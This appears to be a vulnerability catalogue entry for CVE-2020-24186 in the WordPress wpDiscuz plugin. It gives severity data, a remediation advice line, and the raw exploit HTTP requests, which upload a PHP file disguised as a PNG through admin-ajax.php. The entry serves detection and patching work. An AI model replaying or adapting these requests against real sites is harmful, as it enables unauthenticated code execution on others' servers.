| Title | WordPress wpDiscuz <=7.0.4 - Remote Code Execution |
|---|---|
| Author | Ganofins |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to arbitrary code execution on the affected WordPress site. |
| Remediation | Update the wpDiscuz plugin to the latest version (>=7.0.5) to mitigate this vulnerability. |
| CVSS Score | 10 |
| EPSS Score | 0.94213 |
| CVE ID | CVE-2020-24186 |
| CWE ID | CWE-434 |
| Tags | cve cve2020 rce fileupload packetstorm wordpress wp-plugin intrusive gvectors vuln |
WordPress wpDiscuz plugin versions version 7.0 through 7.0.4 are susceptible to remote code execution. This flaw gave unauthenticated attackers the ability to upload arbitrary files, including PHP files, and achieve remote code execution on a vulnerable site’s server.
GET /?p=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Content-Length: 693
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary88AhjLimsDMHU1Ak
Origin: http://www.victim.com
Referer: http://www.victim.com
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
------WebKitFormBoundary88AhjLimsDMHU1Ak
Content-Disposition: form-data; name="action"
wmuUploadFiles
------WebKitFormBoundary88AhjLimsDMHU1Ak
Content-Disposition: form-data; name="wmu_nonce"
Fn7eZd
------WebKitFormBoundary88AhjLimsDMHU1Ak
Content-Disposition: form-data; name="wmuAttachmentsData"
undefined
------WebKitFormBoundary88AhjLimsDMHU1Ak
Content-Disposition: form-data; name="wmu_files[0]"; filename="rce.php"
Content-Type: image/png
����jExifMM*���i��>������������������������������JFIF������C�� �
��
<?php phpinfo();?>
------WebKitFormBoundary88AhjLimsDMHU1Ak
Content-Disposition: form-data; name="postId"
1
------WebKitFormBoundary88AhjLimsDMHU1Ak--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24186.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-24186.pcap
N/AN/A